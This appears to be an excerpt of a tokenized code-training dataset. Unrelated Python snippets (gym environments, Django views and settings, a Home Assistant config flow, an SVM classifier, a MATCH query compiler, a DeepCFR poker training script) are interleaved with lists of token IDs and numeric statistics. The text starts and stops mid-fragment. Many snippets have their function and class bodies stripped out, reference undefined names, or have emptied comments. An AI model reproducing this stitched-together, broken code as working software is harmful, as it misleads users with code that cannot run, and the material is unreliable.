oxy/totigmmass,"(a_Z, b_Z): ",10**amet, bmet raise Exception return (redshift,10.0**a, b+1)
[ 37811, 26796, 329, 4917, 281, 4050, 16022, 286, 1181, 329, 287, 262, 9334, 805, 12, 26591, 8222, 198, 6738, 257, 27479, 13, 4347, 276, 284, 21015, 422, 38789, 78, 569, 8207, 338, 4522, 43, 4226, 526, 15931, 198, 198, 11748, 289, 20, ...
1.936027
3,267
import gym from gym import error, spaces from gym import utils from gym.utils import seeding from evogym import * from evogym.envs import BenchmarkBase import random from math import * import numpy as np import os
[ 11748, 11550, 198, 6738, 11550, 1330, 4049, 11, 9029, 198, 6738, 11550, 1330, 3384, 4487, 198, 6738, 11550, 13, 26791, 1330, 384, 8228, 198, 198, 6738, 819, 519, 4948, 1330, 1635, 198, 6738, 819, 519, 4948, 13, 268, 14259, 1330, 25187, ...
3.460317
63
from operator import attrgetter import pyangbind.lib.xpathhelper as xpathhelper from pyangbind.lib.yangtypes import RestrictedPrecisionDecimalType, RestrictedClassType, TypedListType from pyangbind.lib.yangtypes import YANGBool, YANGListType, YANGDynClass, ReferenceType from pyangbind.lib.base import PybindBase from decimal import Decimal from bitarray import bitarray import __builtin__ import prefix import key
[ 198, 6738, 10088, 1330, 708, 81, 1136, 353, 198, 11748, 12972, 648, 21653, 13, 8019, 13, 87, 6978, 2978, 525, 355, 2124, 6978, 2978, 525, 198, 6738, 12972, 648, 21653, 13, 8019, 13, 17859, 19199, 1330, 8324, 20941, 6719, 16005, 10707, ...
3.42623
122
from pug.nlp.db import representation from django.db import models
[ 6738, 279, 1018, 13, 21283, 79, 13, 9945, 1330, 10552, 198, 6738, 42625, 14208, 13, 9945, 1330, 4981, 628 ]
3.578947
19
import logging from typing import Any, Dict, Optional from homeassistant import config_entries from homeassistant.components.kodi.const import DOMAIN as KODI_DOMAIN from homeassistant.core import callback import voluptuous as vol from .const import ( OPTION_HIDE_WATCHED, OPTION_USE_AUTH_URL, OPTION_SEARCH_LIMIT, OPTION_SEARCH_LIMIT_DEFAULT_VALUE, CONF_KODI_INSTANCE, DOMAIN, CONF_SENSOR_RECENTLY_ADDED_TVSHOW, CONF_SENSOR_RECENTLY_ADDED_MOVIE, CONF_SENSOR_PLAYLIST, CONF_SENSOR_SEARCH, ) _LOGGER = logging.getLogger(__name__)
[ 11748, 18931, 198, 6738, 19720, 1330, 4377, 11, 360, 713, 11, 32233, 198, 198, 6738, 1363, 562, 10167, 1330, 4566, 62, 298, 1678, 198, 6738, 1363, 562, 10167, 13, 5589, 3906, 13, 74, 23130, 13, 9979, 1330, 24121, 29833, 355, 509, 3727...
2.367769
242
from django.shortcuts import render from django.views.generic.edit import FormView from django.views.generic.edit import View from . import forms # , django . from django.contrib.auth.forms import AuthenticationForm from django.contrib.auth import logout from django.http import HttpResponseRedirect from django.contrib.auth import login
[ 6738, 42625, 14208, 13, 19509, 23779, 1330, 8543, 201, 198, 6738, 42625, 14208, 13, 33571, 13, 41357, 13, 19312, 1330, 5178, 7680, 201, 198, 6738, 42625, 14208, 13, 33571, 13, 41357, 13, 19312, 1330, 3582, 201, 198, 6738, 764, 1330, 510...
3.067797
118
""" Django settings for imagetagger project. Generated by 'django-admin startproject' using Django 1.10.3. For more information on this file, see https://docs.djangoproject.com/en/1.10/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/1.10/ref/settings/ """ import os from django.contrib.messages import constants as messages # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # SECURITY WARNING: don't run with debug turned on in production! DEBUG = False ALLOWED_HOSTS = [] # Application definition INSTALLED_APPS = [ 'imagetagger.annotations', 'imagetagger.base', 'imagetagger.images', 'imagetagger.users', 'imagetagger.tools', 'imagetagger.administration', 'django.contrib.admin', 'imagetagger.tagger_messages', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'rest_framework', 'widget_tweaks', 'friendlytagloader', ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', 'django.middleware.locale.LocaleMiddleware', ] ROOT_URLCONF = 'imagetagger.urls' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', 'imagetagger.base.context_processors.base_data', ], }, }, ] WSGI_APPLICATION = 'imagetagger.wsgi.application' FILE_UPLOAD_HANDLERS = ( "django.core.files.uploadhandler.MemoryFileUploadHandler", "django.core.files.uploadhandler.TemporaryFileUploadHandler", ) # Password validation # https://docs.djangoproject.com/en/1.10/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] AUTH_USER_MODEL = 'users.User' # Internationalization # https://docs.djangoproject.com/en/1.10/topics/i18n/ LANGUAGE_CODE = 'en-us' TIME_ZONE = 'Europe/Berlin' # Timezone of your server USE_I18N = True USE_L10N = True USE_TZ = True PROBLEMS_URL = 'https://github.com/bit-bots/imagetagger/issues' PROBLEMS_TEXT = '' LOGIN_URL = '/user/login/' LOGIN_REDIRECT_URL = '/images/' MESSAGE_STORAGE = 'django.contrib.messages.storage.session.SessionStorage' MESSAGE_TAGS = { messages.INFO: 'info', messages.ERROR: 'danger', messages.WARNING: 'warning', messages.SUCCESS: 'success', } # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.10/howto/static-files/ STATIC_URL = '/static/' EXPORT_SEPARATOR = '|' DATA_PATH = os.path.join(BASE_DIR, 'data') IMAGE_PATH = os.path.join(BASE_DIR, 'images') # the absolute path to the folder with the imagesets # filename extension of accepted imagefiles IMAGE_EXTENSION = { 'png', 'jpeg', } # Sets the default expire time for new messages in days DEFAULT_EXPIRE_TIME = 7 # Sets the default number of messages per page MESSAGES_PER_PAGE = 10
[ 37811, 198, 35, 73, 14208, 6460, 329, 3590, 316, 7928, 1628, 13, 198, 198, 8645, 515, 416, 705, 28241, 14208, 12, 28482, 923, 16302, 6, 1262, 37770, 352, 13, 940, 13, 18, 13, 198, 198, 1890, 517, 1321, 319, 428, 2393, 11, 766, 198...
2.466261
1,645
from flask import request from apps.auth.auth_require import required from apps.project.business.issue import IssueBusiness, IssueRecordBusiness, IssueDashBoardBusiness from apps.project.extentions import parse_json_form, validation, parse_list_args2 from library.api.render import json_detail_render, json_list_render2 from library.api.tBlueprint import tblueprint bpname = 'issue' view_permission = f'{bpname}_view' modify_permission = f'{bpname}_modify' issue = tblueprint(bpname, __name__) # issue # idissue # idissue # issue # issue # issue # issue # issuecomment # issue-projectid,versionid # issue # issue # idissue # issuedashboard # issue # issue # pro_idissue # issue requirement # issue
[ 6738, 42903, 1330, 2581, 198, 198, 6738, 6725, 13, 18439, 13, 18439, 62, 46115, 1330, 2672, 198, 6738, 6725, 13, 16302, 13, 22680, 13, 21949, 1330, 18232, 24749, 11, 18232, 23739, 24749, 11, 18232, 43041, 29828, 24749, 198, 6738, 6725, ...
3.070539
241
# Benedikt Hegner, DESY # benedikt.hegner@cern.ch # # this tool is based on Luca Lista's tree drawer module
[ 2, 25660, 1134, 83, 679, 70, 1008, 11, 22196, 56, 198, 2, 1888, 276, 1134, 83, 13, 258, 70, 1008, 31, 30903, 13, 354, 198, 2, 198, 2, 428, 2891, 318, 1912, 319, 7598, 64, 7343, 64, 338, 5509, 33451, 8265, 628, 220, 220, 220, 2...
2.425532
47
from translate import Translator translator = Translator(to_lang="zh") try: with open('./example.md', mode='r') as in_file: text = in_file.read() with open('./example-tranlated.md', mode='w') as trans_file: trans_file.write(translator.translate(text)) except FileNotFoundError as e: print('check your file path')
[ 6738, 15772, 1330, 3602, 41880, 220, 198, 198, 7645, 41880, 796, 3602, 41880, 7, 1462, 62, 17204, 2625, 23548, 4943, 198, 28311, 25, 198, 220, 220, 220, 351, 1280, 7, 4458, 14, 20688, 13, 9132, 3256, 4235, 11639, 81, 11537, 355, 287, ...
2.479167
144
#encoding:utf-8 from utils import weighted_random_subreddit t_channel = '@news756' subreddit = weighted_random_subreddit({ 'politics': 0.5, 'news': 0.5 })
[ 2, 12685, 7656, 25, 40477, 12, 23, 198, 198, 6738, 3384, 4487, 1330, 26356, 62, 25120, 62, 7266, 10748, 628, 198, 83, 62, 17620, 796, 705, 31, 10827, 38219, 6, 198, 7266, 10748, 796, 26356, 62, 25120, 62, 7266, 10748, 15090, 198, 22...
2.569231
65
''' This module contains the classes which represent XCB data types. ''' from xcbgen.expr import Field, Expression import __main__ # Cardinal datatype globals. See module __init__ method. tcard8 = SimpleType(('uint8_t',), 1) tcard16 = SimpleType(('uint16_t',), 2) tcard32 = SimpleType(('uint32_t',), 4) tint8 = SimpleType(('int8_t',), 1) tint16 = SimpleType(('int16_t',), 2) tint32 = SimpleType(('int32_t',), 4) tchar = SimpleType(('char',), 1) tfloat = SimpleType(('float',), 4) tdouble = SimpleType(('double',), 8) # for m in self.fields: # if not m.type.fixed_size(): # return False # return True _placeholder_byte = Field(PadType(None), tcard8.name, 'pad0', False, True, False)
[ 7061, 6, 198, 1212, 8265, 4909, 262, 6097, 543, 2380, 1395, 23199, 1366, 3858, 13, 198, 7061, 6, 198, 6738, 2124, 21101, 5235, 13, 31937, 1330, 7663, 11, 41986, 198, 11748, 11593, 12417, 834, 628, 198, 198, 2, 25564, 4818, 265, 2981, ...
2.401929
311
# Copyright 2020 by Luke Selberg, Solis-Lemus Lab, WID. # All rights reserved. # This file is part of the BioKlustering Website. import pandas as pd from Bio import SeqIO from sklearn.feature_extraction.text import TfidfVectorizer from sklearn.cluster import KMeans from sklearn.decomposition import PCA from sklearn.cluster import MeanShift from sklearn import preprocessing import numpy as np import os from .helpers import plotly_dash_show_plot # credit to chunrong
[ 2, 15069, 12131, 416, 11336, 15300, 3900, 11, 4294, 271, 12, 43, 368, 385, 3498, 11, 370, 2389, 13, 198, 2, 1439, 2489, 10395, 13, 198, 2, 770, 2393, 318, 636, 286, 262, 16024, 42, 38878, 1586, 15887, 13, 198, 198, 11748, 19798, 2...
3.270833
144
# -*- coding: utf-8 -*- from src import icons, __version__ from src.actions import HOST_URL from src.actions.configure import ConfigureWorkflowAction from src.actions.help import HelpWorkflowAction from src.actions.index import IndexWorkflowAction from src.actions.projects import ProjectWorkflowAction from src.actions.pull_requests import PullRequestWorkflowAction from src.actions.repositories import RepositoryWorkflowAction from src.util import workflow, call_alfred WORKFLOW_ACTIONS = { ':config': ConfigureWorkflowAction, ':projects': ProjectWorkflowAction, ':repos': RepositoryWorkflowAction, ':pullrequests': PullRequestWorkflowAction, ':help': HelpWorkflowAction }
[ 2, 532, 9, 12, 19617, 25, 3384, 69, 12, 23, 532, 9, 12, 198, 6738, 12351, 1330, 17149, 11, 11593, 9641, 834, 198, 6738, 12351, 13, 4658, 1330, 367, 10892, 62, 21886, 198, 6738, 12351, 13, 4658, 13, 11250, 495, 1330, 17056, 495, 12...
3.08547
234
import pandas as pd import numpy as np import matplotlib.pyplot as plt from sklearn.model_selection import train_test_split from sklearn.svm import SVC from sklearn.metrics import classification_report, confusion_matrix from mlxtend.plotting import plot_decision_regions # from sklearn import datasets from pandas.plotting import scatter_matrix from joblib import dump, load import collections kaggle_data = pd.read_csv('data/kaggle.csv') data = pd.read_csv('data/new_data.csv') kaggle_X = kaggle_data.iloc[:, :30].values X = data.drop(['index'],axis=1).iloc[:, :30].values y = data.iloc[:,-1].values X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.99) kaggle_X_train, kaggle_X_test, kaggle_y_train, kaggle_y_test = train_test_split(X, y, test_size = 0.02) svclassifier = SVC(kernel='poly',degree=5) svclassifier.fit(kaggle_X_train, kaggle_y_train) dump(svclassifier, 'pre_model.joblib') y_pred = svclassifier.predict(X_test) print(confusion_matrix(y_test,y_pred)) print(classification_report(y_test,y_pred)) # print("X=%s, Predicted=%s" % (test_2d, y_pred_test[0])) # print(y_pred.shape) # TESTING ZONE X = [[-1,1,0,-1,-1,-1,1,0,-1,1,1,-1,0,0,-1,-1,-1,-1,0,1,0,0,0,-1,1,1,1,1,-1,-1]] print("PREDICTION:",svclassifier.predict(X))
[ 11748, 19798, 292, 355, 279, 67, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 2603, 29487, 8019, 13, 9078, 29487, 355, 458, 83, 198, 6738, 1341, 35720, 13, 19849, 62, 49283, 1330, 4512, 62, 9288, 62, 35312, 198, 6738, 1341, 35720, ...
2.363296
534
from itertools import count from _pandigital_tools import is_pandigital def pand_products(): """ Returns the sum of all numbers n which have a factorization a * b = n such that a, b, n are (cumulatively) 1 through 9 pandigital. """ total = set() for a in range(2, 100): for b in count(a): if len(str(a) + str(b) + str(a * b)) > 9: break elif is_pandigital(a, b, a * b): total.add(a * b) return sum(total)
[ 6738, 340, 861, 10141, 1330, 954, 198, 198, 6738, 4808, 79, 392, 328, 1287, 62, 31391, 1330, 318, 62, 79, 392, 328, 1287, 628, 198, 4299, 19798, 62, 29498, 33529, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 16409, 262, 2160, 286,...
2.131915
235
from django.db import models from openstates.data.models import Bill
[ 6738, 42625, 14208, 13, 9945, 1330, 4981, 198, 6738, 1280, 27219, 13, 7890, 13, 27530, 1330, 3941, 628 ]
3.888889
18
import datetime import logging from collections import defaultdict, namedtuple from django.conf import settings from django.template.loader import render_to_string from django.urls import reverse from django.utils.translation import ugettext_lazy as _ from django_prbac.models import Grant, Role, UserRole from corehq.const import USER_DATE_FORMAT from dimagi.utils.couch.database import iter_docs from dimagi.utils.dates import add_months from corehq import privileges from corehq.apps.accounting.exceptions import ( AccountingError, ProductPlanNotFoundError, ) from corehq.apps.domain.models import Domain from corehq.util.quickcache import quickcache from corehq.util.view_utils import absolute_reverse logger = logging.getLogger('accounting') EXCHANGE_RATE_DECIMAL_PLACES = 9 def fmt_feature_rate_dict(feature, feature_rate=None): """ This will be turned into a JSON representation of this Feature and its FeatureRate """ if feature_rate is None: feature_rate = feature.get_rate() return { 'name': feature.name, 'feature_type': feature.feature_type, 'feature_id': feature.id, 'rate_id': feature_rate.id, 'monthly_fee': str(feature_rate.monthly_fee), 'monthly_limit': feature_rate.monthly_limit, 'per_excess_fee': str(feature_rate.per_excess_fee), } def fmt_product_rate_dict(product_name, product_rate=None): """ This will be turned into a JSON representation of this SoftwareProductRate """ from corehq.apps.accounting.models import SoftwareProductRate if product_rate is None: try: product_rate = SoftwareProductRate.objects.filter( is_active=True, name=product_name, ).latest('date_created') except SoftwareProductRate.DoesNotExist: product_rate = SoftwareProductRate.objects.create(name=product_name, is_active=True) return { 'name': product_rate.name, 'rate_id': product_rate.id, 'monthly_fee': str(product_rate.monthly_fee), } ChangeStatusResult = namedtuple('ChangeStatusResult', ['adjustment_reason', 'downgraded_privs', 'upgraded_privs']) def is_active_subscription(date_start, date_end, today=None): today = today or datetime.date.today() return ((date_start is None or date_start <= today) and (date_end is None or today < date_end)) def has_subscription_already_ended(subscription): return (subscription.date_end is not None and subscription.date_end <= datetime.date.today()) def get_money_str(amount): if amount is not None: if amount < 0: fmt = "-$%0.2f" amount = abs(amount) else: fmt = "$%0.2f" return fmt % amount return "" def get_address_from_invoice(invoice): from corehq.apps.accounting.invoice_pdf import Address from corehq.apps.accounting.models import BillingContactInfo try: contact_info = BillingContactInfo.objects.get( account=invoice.account, ) return Address( name=( "%s %s" % (contact_info.first_name if contact_info.first_name is not None else "", contact_info.last_name if contact_info.last_name is not None else "") ), company_name=contact_info.company_name, first_line=contact_info.first_line, second_line=contact_info.second_line, city=contact_info.city, region=contact_info.state_province_region, postal_code=contact_info.postal_code, country=contact_info.country, ) except BillingContactInfo.DoesNotExist: return Address() def get_dimagi_from_email(): return ("Dimagi CommCare Accounts <%(email)s>" % { 'email': settings.INVOICING_CONTACT_EMAIL, }) def ensure_grants(grants_to_privs, dry_run=False, verbose=False, roles_by_slug=None): """ Adds a parameterless grant between grantee and priv, looked up by slug. :param grants_to_privs: An iterable of two-tuples: `(grantee_slug, priv_slugs)`. Will only be iterated once. """ dry_run_tag = "[DRY RUN] " if dry_run else "" if roles_by_slug is None: roles_by_slug = {role.slug: role for role in Role.objects.all()} granted = defaultdict(set) for grant in Grant.objects.select_related('from_role', 'to_role').all(): granted[grant.from_role.slug].add(grant.to_role.slug) grants_to_create = [] for grantee_slug, priv_slugs in grants_to_privs: if grantee_slug not in roles_by_slug: logger.info('grantee %s does not exist.', grantee_slug) continue for priv_slug in priv_slugs: if priv_slug not in roles_by_slug: logger.info('privilege %s does not exist.', priv_slug) continue if priv_slug in granted[grantee_slug]: if verbose or dry_run: logger.info('%sPrivilege already granted: %s => %s', dry_run_tag, grantee_slug, priv_slug) else: granted[grantee_slug].add(priv_slug) if verbose or dry_run: logger.info('%sGranting privilege: %s => %s', dry_run_tag, grantee_slug, priv_slug) if not dry_run: grants_to_create.append(Grant( from_role=roles_by_slug[grantee_slug], to_role=roles_by_slug[priv_slug] )) if grants_to_create: Role.get_cache().clear() Grant.objects.bulk_create(grants_to_create)
[ 11748, 4818, 8079, 198, 11748, 18931, 198, 6738, 17268, 1330, 4277, 11600, 11, 3706, 83, 29291, 198, 198, 6738, 42625, 14208, 13, 10414, 1330, 6460, 198, 6738, 42625, 14208, 13, 28243, 13, 29356, 1330, 8543, 62, 1462, 62, 8841, 198, 673...
2.255377
2,557
from ..le_apcf_command_pkt import LE_APCF_Command from struct import pack, unpack from enum import IntEnum """ This pare base on spec <<Android BT HCI Requirement for BLE feature>> v0.52 Advertisement Package Content filter """
[ 6738, 11485, 293, 62, 499, 12993, 62, 21812, 62, 79, 21841, 1330, 12509, 62, 2969, 22495, 62, 21575, 198, 6738, 2878, 1330, 2353, 11, 555, 8002, 198, 6738, 33829, 1330, 2558, 4834, 388, 198, 198, 37811, 198, 1212, 279, 533, 2779, 319,...
3.41791
67
""" DocumentNGramSymWinGraph.py Created on May 23, 2017, 4:56 PM """ import networkx as nx import pygraphviz as pgv import matplotlib.pyplot as plt from networkx.drawing.nx_agraph import graphviz_layout from DocumentNGramGraph import DocumentNGramGraph
[ 37811, 198, 220, 16854, 10503, 859, 43094, 16643, 37065, 13, 9078, 198, 220, 198, 220, 15622, 319, 1737, 2242, 11, 2177, 11, 604, 25, 3980, 3122, 198, 220, 198, 37811, 198, 198, 11748, 3127, 87, 355, 299, 87, 198, 11748, 12972, 34960,...
2.793814
97
from __future__ import print_function from troposphere import ( Template, Parameter, Ref, Condition, Equals, And, Or, Not, If ) from troposphere import ec2 parameters = { "One": Parameter( "One", Type="String", ), "Two": Parameter( "Two", Type="String", ), "Three": Parameter( "Three", Type="String", ), "Four": Parameter( "Four", Type="String", ), "SshKeyName": Parameter( "SshKeyName", Type="String", ) } conditions = { "OneEqualsFoo": Equals( Ref("One"), "Foo" ), "NotOneEqualsFoo": Not( Condition("OneEqualsFoo") ), "BarEqualsTwo": Equals( "Bar", Ref("Two") ), "ThreeEqualsFour": Equals( Ref("Three"), Ref("Four") ), "OneEqualsFooOrBarEqualsTwo": Or( Condition("OneEqualsFoo"), Condition("BarEqualsTwo") ), "OneEqualsFooAndNotBarEqualsTwo": And( Condition("OneEqualsFoo"), Not(Condition("BarEqualsTwo")) ), "OneEqualsFooAndBarEqualsTwoAndThreeEqualsPft": And( Condition("OneEqualsFoo"), Condition("BarEqualsTwo"), Equals(Ref("Three"), "Pft") ), "OneIsQuzAndThreeEqualsFour": And( Equals(Ref("One"), "Quz"), Condition("ThreeEqualsFour") ), "LaunchInstance": And( Condition("OneEqualsFoo"), Condition("NotOneEqualsFoo"), Condition("BarEqualsTwo"), Condition("OneEqualsFooAndNotBarEqualsTwo"), Condition("OneIsQuzAndThreeEqualsFour") ), "LaunchWithGusto": And( Condition("LaunchInstance"), Equals(Ref("One"), "Gusto") ) } resources = { "Ec2Instance": ec2.Instance( "Ec2Instance", Condition="LaunchInstance", ImageId=If("ConditionNameEqualsFoo", "ami-12345678", "ami-87654321"), InstanceType="t1.micro", KeyName=Ref("SshKeyName"), SecurityGroups=["default"], ) } t = Template() for p in parameters.values(): t.add_parameter(p) for k in conditions: t.add_condition(k, conditions[k]) for r in resources.values(): t.add_resource(r) print(t.to_json())
[ 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 198, 6738, 14673, 22829, 1330, 357, 198, 220, 220, 220, 37350, 11, 25139, 2357, 11, 6524, 11, 24295, 11, 7889, 874, 11, 843, 11, 1471, 11, 1892, 11, 1002, 198, 8, 198, 6738, 14673,...
2.126923
1,040
if __name__ == '__main__': main()
[ 198, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 1388, 3419 ]
2.166667
18
# (c) Copyright IBM Corporation 2020. # LICENSE: Apache License 2.0 (Apache-2.0) # http://www.apache.org/licenses/LICENSE-2.0 import logging from lrtc_lib.data_access import single_dataset_loader from lrtc_lib.data_access.processors.dataset_part import DatasetPart from lrtc_lib.oracle_data_access import gold_labels_loader logging.basicConfig(level=logging.INFO, format='%(asctime)s %(levelname)-8s [%(filename)s:%(lineno)d] %(message)s') if __name__ == '__main__': dataset_name = 'polarity' load(dataset=dataset_name)
[ 2, 357, 66, 8, 15069, 19764, 10501, 12131, 13, 198, 198, 2, 38559, 24290, 25, 24843, 13789, 362, 13, 15, 357, 25189, 4891, 12, 17, 13, 15, 8, 198, 2, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12,...
2.530806
211
"""Convert lowered IR basic blocks to MATCH query strings.""" from collections import deque import six from .blocks import Filter, MarkLocation, QueryRoot, Recurse, Traverse from .expressions import TrueLiteral from .helpers import get_only_element_from_collection, validate_safe_string def _get_vertex_location_name(location): """Get the location name from a location that is expected to point to a vertex.""" mark_name, field_name = location.get_location_name() if field_name is not None: raise AssertionError(u"Location unexpectedly pointed to a field: {}".format(location)) return mark_name def _first_step_to_match(match_step): """Transform the very first MATCH step into a MATCH query string.""" parts = [] if match_step.root_block is not None: if not isinstance(match_step.root_block, QueryRoot): raise AssertionError(u"Expected None or QueryRoot root block, received: " u"{} {}".format(match_step.root_block, match_step)) match_step.root_block.validate() start_class = get_only_element_from_collection(match_step.root_block.start_class) parts.append(u"class: %s" % (start_class,)) if match_step.coerce_type_block is not None: raise AssertionError(u"Invalid MATCH step: {}".format(match_step)) if match_step.where_block: match_step.where_block.validate() parts.append(u"where: (%s)" % (match_step.where_block.predicate.to_match(),)) if match_step.as_block is None: raise AssertionError(u"Found a MATCH step without a corresponding Location. " u"This should never happen: {}".format(match_step)) else: match_step.as_block.validate() parts.append(u"as: %s" % (_get_vertex_location_name(match_step.as_block.location),)) return u"{{ %s }}" % (u", ".join(parts),) def _subsequent_step_to_match(match_step): """Transform any subsequent (non-first) MATCH step into a MATCH query string.""" if not isinstance(match_step.root_block, (Traverse, Recurse)): raise AssertionError(u"Expected Traverse root block, received: " u"{} {}".format(match_step.root_block, match_step)) is_recursing = isinstance(match_step.root_block, Recurse) match_step.root_block.validate() traversal_command = u".%s('%s')" % (match_step.root_block.direction, match_step.root_block.edge_name) parts = [] if match_step.coerce_type_block: coerce_type_set = match_step.coerce_type_block.target_class if len(coerce_type_set) != 1: raise AssertionError(u"Found MATCH type coercion block with more than one target class:" u" {} {}".format(coerce_type_set, match_step)) coerce_type_target = list(coerce_type_set)[0] parts.append(u"class: %s" % (coerce_type_target,)) if is_recursing: parts.append(u"while: ($depth < %d)" % (match_step.root_block.depth,)) if match_step.where_block: match_step.where_block.validate() parts.append(u"where: (%s)" % (match_step.where_block.predicate.to_match(),)) if not is_recursing and match_step.root_block.optional: parts.append(u"optional: true") if match_step.as_block: match_step.as_block.validate() parts.append(u"as: %s" % (_get_vertex_location_name(match_step.as_block.location),)) return u"%s {{ %s }}" % (traversal_command, u", ".join(parts)) def _represent_match_traversal(match_traversal): """Emit MATCH query code for an entire MATCH traversal sequence.""" output = [] output.append(_first_step_to_match(match_traversal[0])) for step in match_traversal[1:]: output.append(_subsequent_step_to_match(step)) return u"".join(output) def _represent_fold(fold_location, fold_ir_blocks): """Emit a LET clause corresponding to the IR blocks for a @fold scope.""" start_let_template = u"$%(mark_name)s = %(base_location)s" traverse_edge_template = u'.%(direction)s("%(edge_name)s")' base_template = start_let_template + traverse_edge_template edge_direction, edge_name = fold_location.get_first_folded_edge() mark_name, _ = fold_location.get_location_name() base_location_name, _ = fold_location.base_location.get_location_name() validate_safe_string(mark_name) validate_safe_string(base_location_name) validate_safe_string(edge_direction) validate_safe_string(edge_name) template_data = {"mark_name": mark_name, "base_location": base_location_name, "direction": edge_direction, "edge_name": edge_name} final_string = base_template % template_data for block in fold_ir_blocks: if isinstance(block, Filter): final_string += u"[" + block.predicate.to_match() + u"]" elif isinstance(block, Traverse): template_data = {"direction": block.direction, "edge_name": block.edge_name} final_string += traverse_edge_template % template_data elif isinstance(block, MarkLocation): pass else: raise AssertionError(u"Found an unexpected IR block in the folded IR blocks: " u"{} {} {}".format(type(block), block, fold_ir_blocks)) final_string += ".asList()" return final_string def _construct_output_to_match(output_block): """Transform a ConstructResult block into a MATCH query string.""" output_block.validate() selections = (u"%s AS `%s`" % (output_block.fields[key].to_match(), key) for key in sorted(output_block.fields.keys())) return u"SELECT %s FROM" % (u", ".join(selections),) def _construct_where_to_match(where_block): """Transform a Filter block into a MATCH query string.""" if where_block.predicate == TrueLiteral: raise AssertionError(u"Received WHERE block with TrueLiteral predicate: {}".format(where_block)) return u"WHERE " + where_block.predicate.to_match() def emit_code_from_single_match_query(match_query): """Return a MATCH query string from a list of IR blocks.""" query_data = deque([u"MATCH "]) if not match_query.match_traversals: raise AssertionError(u"Unexpected falsy value for match_query.match_traversals received: " u"{} {}".format(match_query.match_traversals, match_query)) match_traversal_data = [_represent_match_traversal(x) for x in match_query.match_traversals] query_data.append(match_traversal_data[0]) for traversal_data in match_traversal_data[1:]: query_data.append(u", ") query_data.append(traversal_data) query_data.appendleft(u" (") query_data.append(u"RETURN $matches)") fold_data = sorted([_represent_fold(fold_location, fold_ir_blocks) for fold_location, fold_ir_blocks in six.iteritems(match_query.folds)]) if fold_data: query_data.append(u" LET ") query_data.append(fold_data[0]) for fold_clause in fold_data[1:]: query_data.append(u", ") query_data.append(fold_clause) query_data.appendleft(_construct_output_to_match(match_query.output_block)) if match_query.where_block is not None: query_data.append(_construct_where_to_match(match_query.where_block)) return u" ".join(query_data) def emit_code_from_multiple_match_queries(match_queries): """Return a MATCH query string from a list of MatchQuery namedtuples.""" optional_variable_base_name = "$optional__" union_variable_name = "$result" query_data = deque([u"SELECT EXPAND(", union_variable_name, u")", u" LET "]) optional_variables = [] sub_queries = [emit_code_from_single_match_query(match_query) for match_query in match_queries] for (i, sub_query) in enumerate(sub_queries): variable_name = optional_variable_base_name + str(i) variable_assignment = variable_name + u" = (" sub_query_end = u")," query_data.append(variable_assignment) query_data.append(sub_query) query_data.append(sub_query_end) optional_variables.append(variable_name) query_data.append(union_variable_name) query_data.append(u" = UNIONALL(") query_data.append(u", ".join(optional_variables)) query_data.append(u")") return u" ".join(query_data) def emit_code_from_ir(schema_info, compound_match_query): """Return a MATCH query string from a CompoundMatchQuery.""" match_queries = compound_match_query.match_queries if len(match_queries) == 1: query_string = emit_code_from_single_match_query(match_queries[0]) elif len(match_queries) > 1: query_string = emit_code_from_multiple_match_queries(match_queries) else: raise AssertionError(u"Received CompoundMatchQuery with an empty list of MatchQueries: " u"{}".format(match_queries)) return query_string
[ 37811, 3103, 1851, 17788, 14826, 4096, 7021, 284, 337, 11417, 12405, 13042, 526, 15931, 198, 6738, 17268, 1330, 390, 4188, 198, 11748, 2237, 198, 6738, 764, 27372, 1330, 25853, 11, 2940, 14749, 11, 43301, 30016, 11, 3311, 12321, 11, 4759,...
2.809741
2,854
from PokerRL.game.games import StandardLeduc from PokerRL.game.games import BigLeduc from PokerRL.eval.rl_br.RLBRArgs import RLBRArgs from PokerRL.eval.lbr.LBRArgs import LBRArgs from PokerRL.game.bet_sets import POT_ONLY from DeepCFR.EvalAgentDeepCFR import EvalAgentDeepCFR from DeepCFR.TrainingProfile import TrainingProfile from DeepCFR.workers.driver.Driver import Driver import pdb if __name__ == '__main__': ctrl = Driver(t_prof=TrainingProfile(name="MO_LEDUC_BigLeduc_LBR", nn_type="feedforward", eval_agent_export_freq=3, checkpoint_freq=3, n_learner_actor_workers=5, max_buffer_size_adv=1e6, n_traversals_per_iter=500, n_batches_adv_training=250, mini_batch_size_adv=2048, game_cls=BigLeduc, n_units_final_adv=64, n_merge_and_table_layer_units_adv=64, init_adv_model="random", # warm start neural weights with init from last iter use_pre_layers_adv=False, # shallower nets use_pre_layers_avrg=False, # shallower nets # You can specify one or both modes. Choosing both is useful to compare them. eval_modes_of_algo=( EvalAgentDeepCFR.EVAL_MODE_SINGLE, # SD-CFR ), DISTRIBUTED=True, log_verbose=True, rl_br_args=RLBRArgs(rlbr_bet_set=None, n_hands_each_seat=200, n_workers=1, # Training DISTRIBUTED=False, n_iterations=100, 